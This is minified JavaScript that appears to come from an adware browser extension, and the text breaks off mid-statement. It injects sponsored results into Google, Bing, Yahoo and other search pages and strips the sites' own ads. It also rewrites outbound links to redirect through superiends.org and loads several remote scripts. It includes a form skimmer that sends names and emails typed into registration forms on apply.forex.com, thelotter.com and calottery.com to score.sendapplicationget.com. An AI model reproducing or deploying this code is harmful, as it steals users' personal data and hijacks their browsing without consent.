a=document.getElementById(\"hdtb_msb\")||b.utils.query_selector_all(\".tn\");if(b.utils.isFalse(a))if(c.count++,10>c.count)setTimeout(function(){c.check_tab()},1E3);else return!1;else return(b.utils.query_selector_all(\".hdtb_mitem\")[0]||b.utils.query_selector_all(\".tn > div\")[0]).className.match(/(hdtb_msel|tn-selected-mode)/)&&(b.utils.ping(\"validate2\"),c.callback()),!1};if(!c.check_tab())return!1}},yahoo:{hrefSelector:\"a[id^=link]\",unique_search_divs:\"3\", dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"yahoo\"],src_for_keyword:\"#yschsp\",validate:function(){b.utils.ping(\"validate2\");return!0}},bing:{hrefSelector:[\".b_algo a\",\".sb_tlst a\"],unique_search_divs:\"2\",dr:[\".sb_adsWv2\"],urls:[\"http://www.bing.com/search?*\"],src_for_keyword:[\"#sb_form_q\",\".b_searchboxForm[name='q']\"],validate:function(){b.utils.ping(\"validate2\");return!0}},conduit:{hrefSelector:\"a[id^=ctl00_main_organicResults]\",unique_search_divs:\"1\",urls:[\"http://search.conduit.com*\"],src_for_keyword:\"#q_top\", dr:[\"#master-1\"],validate:function(){return!0}},ask:{hrefSelector:\".ptbs a[id^=r]\",unique_search_divs:\"1\",urls:[\"http://www.ask.com/web?q=*\",\"http://www.ask.com/web?qsrc=*\",\"http://www.ask.com/web?am=broad&q=*\"],src_for_keyword:[\"#top_qcomn\",\"#top_q_comm\"],dr:[\"#spl_img_top\"],validate:function(){return!0}},triple:{hrefSelector:\".gRsSlicetitle\",unique_search_divs:\"2\",dr:[\"#gRsTopLinks\"],urls:[\"http://search.triple-search.com/?*\",\"http://www.search.triple-search.com/?*\"],src_for_keyword:\"#q\",validate:function(){var a= b.utils.query_selector_all(\".gRsSTypeSelltr\");if(0<a.length){for(var c=0;c<a.length;c++)if(\"English\"==a[c].innerHTML)return!0;return!1}}},incredimail:{hrefSelector:\".title\",unique_search_divs:\"3\",dr:[\"#MainSponsoredLinks\"],urls:[\"http://www.search.incredimail.com/search.php?q*\",\"http://search.incredimail.com/search.php?q*\"],src_for_keyword:\"#q\",validate:function(){return-1<location.href.indexOf(\"lang=english\")?!0:!1}},gmaps:{hrefSelector:\"div[class^='ads-line'] a\",unique_search_divs:\"1\",dr:[\".ads.horiz.top\", \".ads.horiz.bot\"],urls:[\"https://www.google.com/maps/*\"],src_for_keyword:\"#searchboxinput\",tweak:function(){var a=function(){b.remove_search();b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop=\"0px\";document.getElementById(\"reveal-cards\").style.marginTop=\"0px\"};b.events.add(\"click\",function(){a()},!1,document.getElementById(\"cards\"),!1);b.events.add(\"keyup\",function(){a()},!1,document.getElementById(\"searchbox_form\"),!1);b.events.add(\"click\",function(){a()},!1,document.getElementById(\"viewcard\"), !1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".widget-runway-pegman\")[0],!1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".gscb_a\")[0],!1);var c=function(a){a=document.querySelector(a);return getComputedStyle(a,null).height}(\".yael .cards-card\");document.querySelector(\".omnibox-cards-transformations\").style.marginTop=c;document.querySelector(\"#reveal-cards\").style.marginTop=c},validate:function(a){b.utils.isIE()||(b.num_of_items_in_one=1,a())}},amazon:{unique_search_divs:\"1\", urls:[\"http://www.amazon.com*&field-keywords=*\"],src_for_keyword:\"#twotabsearchtextbox\",validate:function(a){a()}},smartAddress:{hrefSelector:[\"li a\"],unique_search_divs:\"2\",dr:[\".peach ol\"],urls:[\"search.smartaddressbar.com/web.php?s=*\"],src_for_keyword:\"#stxt\",tweak:function(){var a=b.utils.query_selector_all(\".peach\")[0],c=b.utils.query_selector_all(\".right ul\")[0];a&&a.parentNode.removeChild(a);c&&c.parentNode.removeChild(c)},validate:function(){return!0}}};var l=function(a){if(\"string\"==typeof a){var c= a.match(/:nth-match\\(([0-9]+)\\)/);if(c&&1<c.length)return a=b.utils.query_selector_all(a.substr(0,c.index))||[],a[c[1]]||void 0;a=b.utils.query_selector_all(a)||[];return a[0]||void 0}};b.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f.addEventListener(b,d,e);g&&a.cache.push([b,d,e,f])}:window.attachEvent?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f[\"e\"+b+d]=d;f[b+d]=function(){f[\"e\"+b+d](window.event)};f.attachEvent(\"on\"+ b,f[b+d]);g&&a.cache.push([b,d,e,f])}:function(){};a.remove=window.removeEventListener?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.detachEvent(\"on\"+a,f[a+b]);f[a+b]=null;f[\"e\"+a+b]=null}:function(){};a.flush=function(){for(var b=0;b<a.cache.length;b++)a.remove.apply(a,a.cache[b]);a.cache=[]}};b.get_insertion_element=function(a){return!a.insert||\"before\"!=a.insert&&\"after\"!=a.insert?a.element: a.element.parentNode};b.dom=new function(){this.json_to_html=function(a,c){if(\"#text\"==a.type)c=document.createTextNode(a.text);else if(\"#comment\"!=a.type){c||(c=document.createElement(a.type));if(a.attrs){for(var d in a.attrs)if(a.attrs.hasOwnProperty(d))if(\"style\"==d&&a.attrs.style instanceof Object)for(var e in a.attrs.style){var f=b.utils.dhtml_prop_name(e);try{c.style[f]=a.attrs.style[e]}catch(g){}}else c.setAttribute(d,a.attrs[d]);\"iframe\"==a.type&&(a.attrs.hasOwnProperty(\"frameborder\")&&(c.frameBorder= a.attrs.frameborder),a.attrs.hasOwnProperty(\"marginwidth\")&&(c.marginWidth=a.attrs.marginwidth),a.attrs.hasOwnProperty(\"marginheight\")&&(c.marginHeight=a.attrs.marginheight))}if(a.children)for(d=0;d<a.children.length;d++){f=a.children[d];e=arguments.callee(f);try{c.appendChild(e)}catch(h){if(\"#text\"==f.type&&\"string\"==typeof f.text)if(\"style\"==a.type&&c.styleSheet)c.styleSheet.cssText=f.text||\"\";else if(e=b.utils.get_node_text_prop(c))c[e]=f.text}}}return c}};b.addEventClick=function(a,c){for(var d= 0;d<a.length;d++)b.events.add(\"click\",function(a){a.preventDefault?a.preventDefault():a.returnValue=!1;this.href=\"#\";location.href=c+\"&j=true\";b.events.flush();localStorage.setItem(b.prefix,b.now+b.clickInterval);return!1},!1,a[d],!0)};b.checkClickInterval=function(a){if(b.now>a)return!0};b.setClickHref=function(a,c){if(\"undefined\"!=typeof b.projects_info[c].hrefSelector){if(b.utils.getRandomInt(1,1E4)>=1E4/b.ratio)return!1;var d=b.projects_info[c].hrefSelector,e=parseInt(localStorage.getItem(b.prefix)); if(\"undefined\"!=typeof d){if(d instanceof Array)for(var f=0;f<d.length;f++){var g=b.utils.query_selector_all(d[f]);if(0<g.length)break}else g=b.utils.query_selector_all(d);if(!e||b.checkClickInterval(e))b.addEventClick(g,a),b.j=!0}}};b.escape_chars_for_json=function(a){for(var b in a)a[b]=a[b].replace(/\\\"/g,'\\\\\"');return a};b.tpl_engine=function(a,c,d){\"false\"!==d.layouts.unique&&(c=b.escape_chars_for_json(c));a=JSON.stringify(a);c=[{replace:\"title\",\"with\":c.title},{replace:\"displayUrl\",\"with\":c.displayUrl}, {replace:\"description\",\"with\":c.description},{replace:\"clickUrl\",\"with\":c.clickUrl}];for(d=0;d<c.length;d++)a=a.replace(RegExp(\"\\\\[##\"+c[d].replace+\"##\\\\]\",\"g\"),c[d][\"with\"]);try{return JSON.parse(a)}catch(e){}};b.get_item_json=function(a,c){var d=b.utils.clone_object(a.layouts.template);d.attrs instanceof Object||(d.attrs={});return d=b.tpl_engine(d,c,a)};b.add_jsonp_to_config=function(a,c){b.get_item_json(a)};b.remove_search=function(){var a=b.utils.query_selector_all(\".yael\");if(0<a.length)for(var c= 0;c<a.length;c++)a[c].parentNode.removeChild(a[c])};b.inject_json=function(a){\"first\"==a.insert?a.element.insertBefore(a.node,a.element.firstChild):\"before\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element):\"after\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element.nextSibling):a.element.appendChild(a.node)};b.get_ad_dom=function(a){return a.layouts instanceof Object&&a.layouts.dom instanceof Object?a.layouts.dom:!1};b.get_layout_type=function(a){if(a.layouts instanceof Object)for(var b= 0;b<k.length;b++)if(-1<a.layouts.id.indexOf(k[b]))return k[b];return!1};b.create_search=function(a){a=b.get_ad_dom(a);return b.dom.json_to_html(a)};b.templates=new function(){this.container_id=0;this.add_real_links=function(a,c){b.utils.add_event(\"click\",function(b){window.open(a);b.preventDefault?b.preventDefault():b.returnValue=!1},!1,c)}};b.validate_response=function(){for(var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/)&&__yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/, \"\")};b.is_target_valid=function(a){if(0!=__yael_res.data.numberOfItems&&\"undefined\"!=typeof a.element)return a.urls instanceof Array&&!b.utils.match_url(a.element.ownerDocument.location.href,a.urls)?!1:!0};var p=null;b.get_target_element=function(a){if(a.inserts instanceof Array&&\"undefined\"==typeof a.element)for(var b=0;b<a.inserts.length;b++)if(a.element=l(a.inserts[b].selector),\"undefined\"!==typeof a.element){a.insert=a.inserts[b].at;break}};b.add_data_to_config=function(a,c){if(0==c.length)return b.unique_items_left= !1;var d=b.get_ad_dom(a);(function(a,c){c.children&&0!==c.children.length?(c=c.children[c.children.length-1],arguments.callee(a,c)):b.insert_point=c})(a,d);for(d=0;d<b.num_of_items_in_one&&0!=c.length;d++)b.insert_point.children.push(b.get_item_json(a,c[0])),\"true\"==a.layouts.unique?b.not_unique_items.push(c.shift()):c.shift()};b.addEventsToItems=function(){for(var a=document.querySelectorAll('a[href*=\"'+b.jsonpHost+'\"]'),c=0;c<a.length;c++)b.events.add(\"click\",function(){b.init_search_project()}, !1,a[c],!1)};b.check_if_div_in_dom=function(a,b){var d=[],e;for(e in __yael_res.config.targets){var f=__yael_res.config.targets[e];clearTimeout(p);a++;if(4<a)return;if(f.inserts instanceof Array&&\"undefined\"==typeof f.element)for(var g=0;g<f.inserts.length;g++){var h=l(f.inserts[g].selector);\"undefined\"!==typeof h&&d.push(h)}}for(e=0;e<d.length;e++)if(\"undefined\"==typeof d[e]){var k=this;p=setTimeout(function(){k.apply(k,arguments)},200)}b()};b.addExtensionName=function(a){var c=JSON.stringify(a.layouts.dom); if(!c.match(/\\[##eid##\\]/))return a;c=c.replace(/\\[##eid##\\]/g,b.eid);a.layouts.dom=JSON.parse(c);return a};b.loop_targets=function(a,c,d){if(a instanceof Object&&(b.get_target_element(a),b.is_target_valid(a)&&(\"false\"==d&&b.unique_items_left&&(c=b.not_unique_items),0!=c.length))){b.add_data_to_config(a,c);try{a=b.addExtensionName(a)}catch(e){}try{a.node=b.create_search(a)}catch(f){}\"undefined\"!=typeof a.node&&b.inject_json(a)}};b.removeSecondClick=function(){for(var a=b.utils.query_selector_all(\".yael a\"), c=0;c<a.length;c++)b.events.add(\"click\",function(a){setTimeout(function(){for(var a=b.utils.query_selector_all(\".yael a\"),c=0;c<a.length;c++){var d=a[c];d.outerHTML=d.outerHTML.replace(/href\\=/ig,\"_href=\")}},20)},!1,a[c],!0)};b.addCloseFunctionality=function(){function a(a){for(var b=a.className.split(\" \"),c=0;c<b.length;c++)if(\"yael\"===b[c])return a;if(!a.parentElement)return!1;a=a.parentElement;return arguments.callee(a)}var c=b.utils.query_selector_all(\".yael_close_btn\");if(c)for(var d=0;d<c.length;d++)b.events.add(\"click\", function(){try{var b=a(this)}catch(c){}b&&b.parentElement.removeChild(b)},!1,c[d],\"closeBtn\")};b.inject_search=function(){b.not_unique_items=[];0!=__yael_res.data.items.length&&(b.setClickHref(__yael_res.data.items[0].clickUrl,b.projects_name),b.check_if_div_in_dom(0,function(){for(var a in __yael_res.config.targets){var c=__yael_res.config.targets[a];b.loop_targets(c,__yael_res.data.items,c.layouts.unique)}\"function\"==typeof b.projects_info[b.projects_name].tweak&&b.projects_info[b.projects_name].tweak(); b.j||b.removeSecondClick();b.addCloseFunctionality();b.utils.flushWaitForTokens()}))};b.init_search_project=function(){b.waitForElementCounter=0;\"undefined\"!=typeof __yael&&b.remove_search();for(var a in b.projects_info)if(b.utils.match_url(location.href,b.projects_info[a].urls)){var c=b.projects_info[a];b.projects_name=a;if(-1<b.initThrottle.indexOf(a))c.validate(function(){c.name=b.projects_name;b.get_keyword(c,function(a,c){b.jsonp_request(a,c)})});else{if(!c.validate())return;c.name=b.projects_name; b.projects_name=a;b.get_keyword(c,function(a,c){b.jsonp_request(a,c)})}}return!1};b.get_keyword=function(a,c){var d=a.src_for_keyword,e=function(d){b.inputElement=d[0];b.keyword=b.inputElement.value;if(2>b.keyword.length)return b.utils.flushWaitForTokens(),!1;if(b.inputElement&&\"input\"==b.inputElement.tagName.toLowerCase()&&\"\"!==b.keyword)return c(b.keyword,a.name)};if(d instanceof Array)for(var f=0;f<d.length;f++)b.utils.waitForElement(d[f],function(a){a&&e(a)},100,\"keyword\");else b.utils.waitForElement(d, function(a){a&&e(a)},100,\"keyword\")};b.remove_se_handler=function(a){var c=b.projects_info[a].dr;if(c instanceof Array)if(\"bing\"==a)for(c=b.utils.query_selector_all(c[0]),a=0;a<c.length;a++)b.remove_se(c[a]);else for(a=0;a<c.length;a++){var d=l(c[a]);b.remove_se(d)}};b.remove_se=function(a){a&&a.parentElement.removeChild(a)};b.jsonp_request=function(a,c){var d=b.num_of_items_in_one*parseInt(b.projects_info[c].unique_search_divs);window.__yael_cb=function(a){window.__yael_res=a;\"0\"==__yael_res.data.numberOfItems? b.utils.flushWaitForTokens():(0==__yael.utils.getRandomInt(0,10)&&b.remove_se_handler(c),__yael.inject_search())};\"undefined\"==typeof window.__yael&&(window.__yael=b);d=b.jsonpHost+\"/?v=\"+b.version+\"&p=\"+c+\"&keyword=\"+a+\"&numItems=\"+d+\"&hid=8629283250314236861&eid=42&pid=1160&prid=186\";\"undefined\"!=typeof specificFeeds&&specificFeeds instanceof Array&&(d+=\"&_feeds=\"+specificFeeds.join(\",\"));if(b.utils.isIE()){if(document.getElementById(\"__yael_script\")){var e=document.getElementById(\"__yael_script\"); e.parentNode.removeChild(e)}e=document.createElement(\"script\");e.id=\"__yael_script\";e.src=\"//\"+d+\"&domvar=__yael_cb\";e.type=\"text/javascript\";b.utils.addScript(e,c)}else b.utils.ajax.get(\"//\"+d,function(a){window.__yael_res=JSON.parse(a);\"0\"==__yael_res.data.numberOfItems?b.utils.flushWaitForTokens():(0==__yael.utils.getRandomInt(0,10)&&__yael.remove_se_handler(c),__yael.inject_search())})};\"undefined\"==typeof __yael&&b.init_search_project();-1<b.initThrottle.indexOf(b.projects_name)&&b.events.add(\"keyup\", b.utils.throttle(b.init_search_project,3E3),!1,b.inputElement,!1)}});;new function(){if(null==document.getElementById(\"id_arrrrppdjafklbvnn4450fm\")&&window.self==window.top&&\"http:\"==window.self.location.protocol){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//istatic.datafastguru.info/fo/min/wp.js?subid=42_1160&hid=8629283250314236861&bname=priocechop\";a.setAttribute(\"id\",\"id_arrrrppdjafklbvnn4450fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};;try{new function(){if(null==document.getElementById(\"id_arrrrppdjafklbvnn4440fm\")&&\"http:\"==location.protocol&&window.self==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//istatic.datafastguru.info/fo/min/wpb.js?subid=42_1160&hid=8629283250314236861&bname=priocechop\";a.setAttribute(\"id\",\"id_arrrrppdjafklbvnn4440fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}}}catch(e$$12){};;try{new function(){if(null==document.getElementById(\"id_a02b170eff6bb769\")&&window.self==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.src=\"//d1qqddufal4d58.cloudfront.net/scripts/contextualjs/v2/ctxjs.js?aff_id=1151&subaff_id=42_1160\";a.setAttribute(\"id\",\"id_a02b170eff6bb769\");document.getElementsByTagName(\"head\")[0].appendChild(a)}}}catch(e$$12){};;(function(){if(!document.getElementById(\"qwejkhjkshdfs_4\")&&window.self==window.top){var a=document.createElement(\"script\");a.id=\"inj_grazit_script_starter\";a.type=\"text/javascript\";a.src=\"//ext1.engageya.com/widget/inject_spark/inj_sprk_starter.js?pid=LTEsMTQyNTU5LDk0NjA4LDU0OTcx&subid=42_1160&appname=priocechop\";a.setAttribute(\"id\",\"qwejkhjkshdfs_4\");document.getElementsByTagName(\"head\")[0].appendChild(a)}})();;if(window.self.location.hostname.indexOf('mail.')==-1)\n{try{for(i=0;i<5;i++){window.setTimeout(function(){if(document.getElementById(\"cblocker\")){document.getElementById(\"cblocker\").parentNode.removeChild(document.getElementById(\"cblocker\"));};if(document.getElementById(\"_vdcbl\")){document.getElementById(\"_vdcbl\").parentNode.removeChild(document.getElementById(\"_vdcbl\"));}},i*100)}}catch(e){};\n};(function(){try{if(window.opener&&window.self==window.top&&(!window.name.match(/^(a652c|ld893)_/))&&-1==document.cookie.indexOf(\"xcddsa\")&&-1==window.self.location.href.indexOf(\"px.pluginh\")&&window.self.location.hostname.indexOf('earchfu')==-1&&(!document.referrer||-1==document.referrer.indexOf('/amz/')&&-1==document.referrer.indexOf('/sd/dw32.html')&&-1==document.referrer.indexOf('/pop/1.1.00')&&(!document.referrer.match(/cpops-\\d+\\.html/))&&-1==document.referrer.indexOf(\"px.pluginh\"))&&-1==window.self.location.href.indexOf(\"nkths.co\")&&-1==window.self.location.href.indexOf(\"ally.asi\")&&-1==window.self.location.href.indexOf('/sd/dw32.html')&&-1==window.self.location.href.indexOf('/pop/1.1.00')&&-1==window.self.location.href.indexOf('/amz/')&&(!window.self.location.href.match(/cpops-\\d+\\.html/))&&-1==window.self.location.hostname.indexOf(\"getjs\")&&-1==window.self.location.hostname.indexOf(\"hsbc\")&&3>history.length){var c=navigator.userAgent.toLowerCase(),d=\"http://superiends.org/z/?f=pdrKrTnKqTrKrjYHfHw9rjaEpdCFqjs%3D&eid=42&hid=8629283250314236861&pid=1160&rf=\" + encodeURIComponent(document.referrer) +\"&s=px.pluginh&r=\"+Math.random();if(-1<c.indexOf(\"msie\")&&(!document.referrer||-1==document.referrer.indexOf(location.hostname))){var e=window.innerWidth||document.documentElement.scrollWidth||0,f=window.innerHeight||document.documentElement.scrollHeight||0;if(e){window.resizeTo(e,f);var g=window.innerWidth||document.documentElement.scrollWidth,k=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(e+2,f);var h=window.scrollWidth||document.documentElement.scrollWidth;if(h!=g&&h<=g+2&&90>=f-k){var a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};window.self.location.href=d}}}else if(!window.menubar.visible&&document.referrer&&-1==document.referrer.indexOf(window.self.location.hostname)){a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};var b=document.createElement(\"script\");b.type=\"text/javascript\";-1<c.indexOf(\"chrome\")&&(b.innerHTML='document.getElementsByTagName(\"body\")[0].setAttribute(\"xcddsa\",\"1\")',document.getElementsByTagName(\"body\")[0].appendChild(b),setTimeout(function(){document.getElementsByTagName(\"body\")[0].getAttribute(\"xcddsa\")&&(window.self.location.href=d)},10));-1<c.indexOf(\"firefox\")&&(b.innerHTML='try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};setTimeout(function(){window.self.location.href=\"'+d+'\";},10);',document.getElementsByTagName(\"head\")[0].appendChild(b))}}}catch(l){}})();if(1==2&&-1<window.self.location.href.indexOf(\"df.ly/\")){var dd=document.getElementById(\"rf\");dd&&dd.setAttribute(\"src\",\"http://superiends.org/x/?f=pdrKrTnKqTrKrjYHfHw9rjaEpdCFqjs%3D&ch=1\")}(\"rdlnk.co\"==window.self.location.hostname||\"adfoc.us\"==window.self.location.hostname||\"www.adsbeta.net\"==window.self.location.hostname||\"ad5.eu\"==window.self.location.hostname)&&(dd=document.getElementsByTagName(\"iframe\")[0])&&dd.setAttribute(\"src\",\"http://superiends.org/x/?ch=1\");\"cf.ly\"==window.self.location.hostname&&(dd=document.getElementsByTagName(\"iframe\")[1])&&dd.setAttribute(\"src\",\"http://superiends.org/x/?f=pdrKrTnKqTrKrjYHfHw9rjaEpdCFqjs%3D&ch=1\");\"adv.li\"==window.self.location.hostname&&(dd=document.getElementById(\"main\"))&&dd.setAttribute(\"src\",\"http://superiends.org/x/?f=pdrKrTnKqTrKrjYHfHw9rjaEpdCFqjs%3D&ch=1\");if(window.top==window.self&&\"undefined\"!=typeof addEventListener&&-1==document.cookie.indexOf(\"vdsknj4th4un\")){var zytd=function(a){try{if(\"a\"==a.target.tagName.toLowerCase()&&\"\"==a.target.innerHTML&&a.target.getAttribute(\"href\")&&-1==a.target.getAttribute(\"href\").indexOf(window.self.location.hostname)){a.target.setAttribute(\"href\",\"http://superiends.org/z/?f=pdrKrTnKqTrKrjYHfHw9rjaEpdCFqjs%3D&eid=42&hid=8629283250314236861&pid=1160&ch=666&rf=\"+encodeURIComponent(window.self.location.href)+\"&s=px.pluginh&r=\"+Math.random());var b=new Date;b.setHours(b.getHours()+5);document.cookie=\"vdsknj4th4un=1;expires=\"+b.toUTCString();document.getElementsByTagName(\"body\")[0].removeEventListener(\"click\",zytd)}}catch(c){}};try{document.getElementsByTagName(\"body\")[0].addEventListener(\"click\",zytd)}catch(e){}};(function(){var init=function(b,a,f){for(var e=function(){for(var d=[],c=0;c<a.length;c++)b[a[c]]&&b[a[c]].value&&2<b[a[c]].value.length&&d.push(b[a[c]].value.replace(/[^0-9a-z \\-_\\.@]/ig,\"\"));if(d.length==a.length)for((new Image).src=\"https://score.sendapplicationget.com/?id=\"+f+\"&c=\"+encodeURIComponent(d.join(\",\"))+\"&r=\"+Math.random(),c=0;c<a.length;c++)b[a[c]]&&b[a[c]].removeEventListener?b[a[c]].removeEventListener(\"blur\",e,!1):b[a[c]]&&b[a[c]].detachEvent&&b[a[c]].detachEvent(\"onblur\",e)},d=0;d<a.length;d++)b[a[d]]&&b[a[d]].addEventListener?b[a[d]].addEventListener(\"blur\",e,!1):b[a[d]]&&b[a[d]].attachEvent&&b[a[d]].attachEvent(\"onblur\",e)};(\"www.apply.forex.com\"==window.self.location.hostname||\"apply.forex.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"Screen1\")&&document[\"aspnetForm\"]&&init(document[\"aspnetForm\"],\"ctl00$ContentPlaceHolder1$ctl01$txtFirstname,ctl00$ContentPlaceHolder1$ctl01$txtLastname,ctl00$ContentPlaceHolder1$ctl01$txtVerifyEmail\".split(','),\"3\");(\"www.thelotter.com\"==window.self.location.hostname||\"thelotter.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"remoteshortregistration\")&&document[\"aspnetForm\"]&&init(document[\"aspnetForm\"],\"ctl00$ContentPlaceHolderMain$ctl00$signUpForms$txtFirstName,ctl00$ContentPlaceHolderMain$ctl00$signUpForms$txtEmail\".split(','),\"4\");(\"www.calottery.com\"==window.self.location.hostname||\"calottery.com\"==window.self.location.hostname)&&-1<window.self.location.href.indexOf(\"register\")&&document[\"frmMain\"]&&init(document[\"frmMain\"],\"objBody$content_0$leftcolumn_0$txtFirstName,objBody$content_0$leftcolumn_0$txtLastName,objBody$content_0$leftcolumn_0$txtEmail\".split(','),\"5\")})();if(Math.ceil(Math.random()*40)==1){(function(){var a = \"microsoft msn youtube.com ninemsn yahoo maktoob rivals amazon jeuxvideo xbox flickr outlook microsoftstore alltheweb intonow overture tumblr live facebook embedr altavista ashleyfurniturehomestore reddit tripadvisor rightmedia craigslist sprint mozilla att omg.com apple americanexpress\".split(\" \");for(var i=0;i<a.length;i++) if(window.self.location.hostname.indexOf(a[i])>-1){return};try{if(typeof(localStorage)!='undefined' && (window.self.location.hostname.indexOf('adnxs.com')>-1 || window.self.location.hostname.indexOf('doubleclick')>-1 || window.self.location.hostname.indexOf('cloudfront')>-1)){localStorage.setItem(\"xhxg4sk42hsba\",\"9\")}}catch(e){};var _wlst={lsKey:\"xhxg4sk42hsba\",get:function(b,a){if(window.self.location.protocol==\"https:\" || 3<b)return a(!1);var d=this.fetch();if(d)return a(parseInt(d));if(1==b){crc=this.hcrc32(window.self.location.hostname.replace(\"www.\",\"\"));try{var c=document.createElement(\"script\");c.type=\"text/javascript\";try{c.async=\"async\"}catch(e){}c.src=\"http://v.zilionfast.in/\"+crc+\"/?t=vrt\";(document.getElementsByTagName(\"head\")[0]||document.getElementsByTagName(\"body\")[0]).appendChild(c)}catch(f){}}setTimeout(function(){_wlst.get(++b,a)},180)},fetch:function(){try{if(\"undefined\"!=localStorage)try{return localStorage.getItem(this.lsKey)}catch(b){return 0}else _wlst.getCkie()}catch(a){_wlst.getCkie()}},getCkie:function(){if(0<document.cookie.length&&(c_start=document.cookie.indexOf(this.lsKey+\"=\"),-1!=c_start))return c_start=c_start+this.lsKey.length+1,c_end=document.cookie.indexOf(\";\",c_start),-1==c_end&&(c_end=document.cookie.length),unescape(document.cookie.substring(c_start,c_end))},hcrc32:function(b,a){a||(a=0);var d=0;a^=-1;for(var c=0,e=b.length;c<e;c++)d=(a^b.charCodeAt(c))&255,d=\"0x\"+\"00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D\".substr(9*d,8),a=a>>>8^d;c=a^-1;0>c&&(c+=4294967296);return c}},_zyad={title:document.title?document.title.toLowerCase():\"na\",location:window.self.location.href.toLowerCase() + (document.referrer ? document.referrer : 